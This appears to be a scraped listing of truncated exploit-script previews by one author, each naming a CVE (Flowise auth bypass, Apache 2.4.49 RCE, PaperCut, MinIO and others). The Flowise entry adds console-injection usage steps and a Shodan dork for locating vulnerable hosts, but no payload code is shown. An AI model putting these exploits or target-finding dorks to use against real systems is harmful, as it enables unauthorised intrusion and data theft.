komodoooo

/*  CVE-2024-31621
    Flowise 1.6.5 <= Authentication Bypass
    By komodo

    Usage:  Navigate to a page that does not require auth (ex: /tools),
            then inject this code inside dev tools console.
    
    Shodan dork: http.favicon.hash:-2051052918
*/
var req = XMLHttpRequest.prototype.open;

komodoooo

require 'http'
require 'openssl'
require 'json'

puts """
CVE-2023-45852
Viessmann Vitogate 300 RCE exploit
By komodo\n
"""

komodoooo

require 'http'
require 'openssl'

puts """
CVE-2023-43261
Milesight routers information disclosure exploit
By komodo\n
"""

=begin

komodoooo

require 'http'
require 'openssl'
require 'json'

puts """
CVE-2023-37265
CasaOS <0.4.4 Path traversal Exploit
By komodo
"""

komodoooo

require 'http'
require 'openssl'

puts """
CVE-2023-23333
SolarView Compact <=6.00 RCE exploit
By komodo\n
"""

=begin

komodoooo

require 'http'
require 'openssl'

puts """
CVE-2023-34598
Gibbon v25.0.0 LFI exploit
By komodo\n
"""

=begin

komodoooo

require 'http'
require 'openssl'

puts """
CVE-2023-33568
Dolibarr 16.0.0 to 16.0.5 unauthenticated DB access exploit
By komodo\n
"""

=begin

komodoooo

require 'http'
require 'openssl'

puts """
CVE-2023-28432
MinIO information disclosure exploit
By komodo\n
"""

=begin

komodoooo

require 'http'
require 'openssl'

puts """
CVE-2023-27350
PaperCut NG 22.0.5 Build 63914 auth bypass exploit
By komodo\n
"""

=begin

komodoooo

require 'http'
require 'openssl'

puts """
CVE-2021-41773
Apache 2.4.49 (Unix) RCE Exploit
By komodo\n
"""

=begin